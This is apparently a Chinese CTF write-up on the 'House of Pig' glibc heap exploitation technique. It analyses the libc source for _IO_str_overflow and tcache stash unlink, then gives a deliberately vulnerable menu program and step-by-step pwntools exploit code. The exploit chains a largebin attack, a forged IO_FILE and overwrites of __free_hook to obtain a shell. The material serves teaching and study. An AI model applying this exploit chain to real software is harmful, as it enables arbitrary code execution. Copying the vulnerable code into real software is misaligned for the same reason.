House Of Pig
House of Pig
是利用tcache stash unlink
与largebin attack
攻击IO_FILE
共同实现的一种手法,一般来说利用得到的任意地址写能力往hook
上写数据,从而完成对程序流的劫持。
一、关键源码分析:_IO_str_overflow
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_str_finish),JUMP_INIT(overflow, _IO_str_overflow),JUMP_INIT(underflow, _IO_str_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_str_pbackfail),JUMP_INIT(xsputn, _IO_default_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_str_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_default_setbuf),JUMP_INIT(sync, _IO_default_sync),JUMP_INIT(doallocate, _IO_default_doallocate),JUMP_INIT(read, _IO_default_read),JUMP_INIT(write, _IO_default_write),JUMP_INIT(seek, _IO_default_seek),JUMP_INIT(close, _IO_default_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};int
_IO_str_overflow (FILE *fp, int c)
{int flush_only = c == EOF;size_t pos;if (fp->_flags & _IO_NO_WRITES)return flush_only ? 0 : EOF;if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)){fp->_flags |= _IO_CURRENTLY_PUTTING;fp->_IO_write_ptr = fp->_IO_read_ptr;fp->_IO_read_ptr = fp->_IO_read_end;}pos = fp->_IO_write_ptr - fp->_IO_write_base;if (pos >= (size_t) (_IO_blen (fp) + flush_only)){if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */return EOF;else{char *new_buf;char *old_buf = fp->_IO_buf_base;size_t old_blen = _IO_blen (fp); //扩展到:((fp)->_IO_buf_end - (fp)->_IO_buf_base)size_t new_size = 2 * old_blen + 100;if (new_size < old_blen)return EOF;new_buf = malloc (new_size); // malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)if (new_buf == NULL){/* __ferror(fp) = 1; */return EOF;}if (old_buf){memcpy (new_buf, old_buf, old_blen); // old_buf 内容复制到 new_buf 中free (old_buf); // free/* Make sure _IO_setb won't try to delete _IO_buf_base. */fp->_IO_buf_base = NULL;}memset (new_buf + old_blen, '\0', new_size - old_blen);_IO_setb (fp, new_buf, new_buf + new_size, 1);fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);fp->_IO_write_base = new_buf;fp->_IO_write_end = fp->_IO_buf_end;}}if (!flush_only)*fp->_IO_write_ptr++ = (unsigned char) c;if (fp->_IO_write_ptr > fp->_IO_read_end)fp->_IO_read_end = fp->_IO_write_ptr;return c;
}
libc_hidden_def (_IO_str_overflow)
可以看到,在_IO_str_overflow
中,进行了malloc
、memcpy
、free
操作。设想一下,如果我们在malloc
中能够申请到__free_hook
附近的fake chunk
,通过在old_buf
中布置好合适数据,通过memcpy
往__free_hook
上写入地址,则在free
环节就会劫持程序流到目标地址。最简单直接的,如果写入是=system
的地址,并在old_buf
中布置合适的"/bin/sh\x00"
字符串,就可以getshell
。
二、回顾tcache stash unlink
较高版本的glibc
已经引入tcache
,而我们知道,calloc
函数并不会在tcache
中申请堆块。其中一种利用手法是tcache stash unlink
。
static void *
_int_malloc(mstate av, size_t bytes)
{
...if (in_smallbin_range(nb)){idx = smallbin_index(nb);bin = bin_at(av, idx);if ((victim = last(bin)) != bin){bck = victim->bk;if (__glibc_unlikely(bck->fd != victim))malloc_printerr("malloc(): smallbin double linked list corrupted");set_inuse_bit_at_offset(victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)set_non_main_arena(victim);check_malloced_chunk(av, victim, nb);
#if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache. */size_t tc_idx = csize2tidx(nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over. */while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin){if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset(tc_victim, nb);if (av != &main_arena)set_non_main_arena(tc_victim);bin->bk = bck;bck->fd = bin;tcache_put(tc_victim, tc_idx);}}}
#endifvoid *p = chunk2mem(victim);alloc_perturb(p, bytes);return p;}}
...
}
当从smallbin
中取出chunk
时, /* While bin not empty and tcache not full, copy chunks over. */
,如果对应大小的tcachebin
尚有空闲位置,且smallbin
中仍有多余chunk
则会将smallbin
中这部分多余的chunk
转移到tcachebin
中,即stash
。
我们可以看到,除了对取出的victim chunk
有双向链表的检查外,在stash
部分,即:
if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset(tc_victim, nb);if (av != &main_arena)set_non_main_arena(tc_victim);bin->bk = bck;bck->fd = bin;tcache_put(tc_victim, tc_idx);}
中,只对双向链表结构的smallbin
中的chunk
进行了unlink
操作,然后就直接被tcache_put
插入到tcachebin
中,而**没有对双向链表的检查!**这意味着如果我们修改smallbin
中chunk
的bk
指针,就可能将fake chunk
引入到tcachebin
中,实现任意地址malloc
。
三、总结利用要求、条件与方法
(在比如程序中没有显示malloc
只有calloc
的条件下)我们期望什么,如何利用?“思考”总是一个逆过程:
- 能够利用
_IO_str_overflow
的malloc
、memcpy
与free
写入并触发__free_hook
劫持程序执行流
实现上述目标需要:
- 能够跳转到或触发
_IO_str_overflow
函数 - 需要控制好
IO_FILE
结构体的成员满足malloc
和memcpy
的参数要求
- 因此,需要
__free_hook
附近的一块fake chunk
,需要劫持控制IO
实现上述目标需要:
- 通过
tcache stash unlink
获得__free_hook
附近的fake chunk
- 通过
largebin attack
劫持_IO_list_all
,并申请出fake file
,布置合适的结构体成员并将vtable
指向_IO_str_jumps
表
四、模板题与解法
pwnc_194">(一)模板题源码pwn.c
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>char *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = calloc(1, size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice = get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
(二)利用过程与exp
largebin attack
往__free_hook
所在fake chunk
的bk
指针域写上一个可写内存(堆地址),从而满足tcache stash unlink
时内存修改的可写要求。在这个过程中泄露出libc
和heap base
。
# leak libc & heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)delete(2)
delete(0)show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfffedit(2, b'a')
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + u8(b'a'))
edit(2, b'\x00')
success("heap base: " + hex(heap_base))
success("libc base: " + hex(libc.address))
然后进行largebin attack
在__free_hook
附近的fake_chunk
构造具有可写的指针;劫持_IO_list_all
# largebin attack
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['__free_hook'] - 0x20 - 0x8))
delete(0)
add(0, 0x408)edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(0,0x408)
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(heap_base+0x6d0)*2)
add(2,0x428) # _IO_list_all -> addr(chunk2)
布置tcache stash unlink
,tcachebin
中放5个chunk
,smallbin
中放两个chunk
,并篡改stash
的chunk
的bk
指针
# tcache stash unlink
for i in range(10,15):add(i,0x100)for i in range(10,15):delete(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
delete(20)
delete(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
edit(22,0x300*b'\x00'+p64(0)+p64(0x111)+p64(heap_base+0x17c0)+p64(libc.sym['__free_hook']-0x20))
add(25,0x100)
# gdb.attach(io,"b _int_malloc\nc")
pause()
(这里没暂停到,再次运行了libc
基址变了,特此说明)
然后在申请出来的largebin chunk
上,也即_IO_list_all
指向的fake_file
,布置数据:
fake_file_addr = heap_base + 0x6d0
fake_file = b''
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += p64(libc.sym['system']) # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0) # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2)) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160) # _IO_wide_data_1
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00') # adjust to vtable
fake_file += p64(IO_str_jumps) # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libc.sym['system'])
edit(2,fake_file)
结果便是:
pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all
$2 = {file = {_flags = 0,_IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,_IO_read_end = 0x0,_IO_read_base = 0x0,_IO_write_base = 0x0,_IO_write_ptr = 0x7dc24b37a370 <__libc_system> "\363\017\036\372H\205\377t\a\351\262\372\377\377f\220H\203\354\bH\215=\321\305\023",_IO_write_end = 0x0,_IO_buf_base = 0x592df02fd7b0 "/bin/sh",_IO_buf_end = 0x592df02fd802 "",_IO_save_base = 0x0,_IO_backup_base = 0x0,_IO_save_end = 0x0,_markers = 0x0,_chain = 0x7dc24b4ed6c0 <_IO_2_1_stdout_>,_fileno = 2,_flags2 = 0,_old_offset = -1,_cur_column = 0,_vtable_offset = 0 '\000',_shortbuf = "\n",_lock = 0x7dc24b4ef560 <fork_handlers+64>,_offset = -1,_codecvt = 0x0,_wide_data = 0x7dc24b4ed560 <_nl_global_locale+160>,_freeres_list = 0x0,_freeres_buf = 0x0,__pad5 = 0,_mode = -1,_unused2 = '\000' <repeats 19 times>},vtable = 0x7dc24b4ee560 <_IO_str_jumps>
}
退出时flush
触发overflow (_IO_str_jumps)
,进入利用链。getshell